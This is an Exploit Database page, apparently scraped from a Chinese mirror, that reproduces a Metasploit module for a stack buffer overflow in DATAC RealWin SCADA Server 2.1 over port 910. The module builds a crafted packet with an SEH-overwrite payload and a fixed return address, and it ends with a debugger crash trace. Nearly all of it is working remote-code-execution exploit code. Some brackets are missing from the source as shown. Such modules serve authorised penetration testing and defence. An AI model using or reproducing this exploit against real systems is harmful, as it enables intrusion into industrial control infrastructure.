DATAC RealWin SCADA Server 2 – On_FC_CONNECT_FCS_a_FILE Buffer Overflow (Metasploit)

Exploit Database
118 阅读

作者： Metasploit

日期： 2011-06-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17417/

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# $Id: realwin_on_fc_binfile_a.rb 12975 2011-06-20 04:01:47Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow',

'Description'=> %q{

This module exploits a vulnerability found in DATAC Control International RealWin

SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE

packet via port 910, RealWin will try to create a file (which would be saved to

C:\Program Files\DATAC\Real Win\RW-version\filename) by first copying the user-

supplied filename with a inline memcpy routine without proper bounds checking, which

results a stack-based buffer overflow, allowing arbitrary remote code execution.

Tested version: 2.0 (Build 6.1.8.10)

'Author' => [ 'Luigi Auriemma', 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 12975 $',

'References' =>

[

[ 'URL', 'http://aluigi.altervista.org/adv/realwin_5-adv.txt' ],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 450,

'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Universal', { 'Ret' => 0x4002da21 } ], # P/P/R FlexMLang.DLL 8.1.45.19

'DefaultTarget' => 0,

'DisclosureDate' => 'Mar 21 2011'))

register_options([Opt::RPORT(910)], self.class)

end

def exploit

connect

data =[0x67542310].pack('V')

data << [0x00000824].pack('V')

data << [0x00100001].pack('V')

data << [0x00000001].pack('V')#Packet type

data << [0x00060000].pack('V')

data << [0x0000ffff].pack('V')

data << rand_text_alpha_upper(221)

data << generate_seh_payload(target.ret)

data << rand_text_alpha_upper(17706 - payload.encoded.length)

data << [0x451c3500].pack('V')

data << [0x00000154].pack('V')

data << [0x00020040].pack('V')

print_status("Trying target #{target.name}...")

sock.put(data)

select(nil,nil,nil,0.5)

handler

disconnect

end

=begin

0:022> r

eax=00000819 ebx=0587f89c ecx=00000039 edx=011fba04 esi=011fc138 edi=0587fffd

eip=0042702f esp=0587f738 ebp=011fba04 iopl=0 nv up ei pl nz na pe nc

cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206

RealWinDemo+0x2702f:

0042702f f3a5rep movs dword ptr es:[edi],dword ptr [esi]

0:022> !exchain

0587f748: RealWinDemo+e0b78 (004e0b78)

0587f9a4: FlexMLang!GetFlexMLangIResourceBrowser+2b991 (4002da21)

Invalid exception stack at 49a206eb

0:022> u 4002da21

FlexMLang!GetFlexMLangIResourceBrowser+0x2b991:

4002da21 5epop esi

4002da22 5bpop ebx

4002da23 c3ret

=end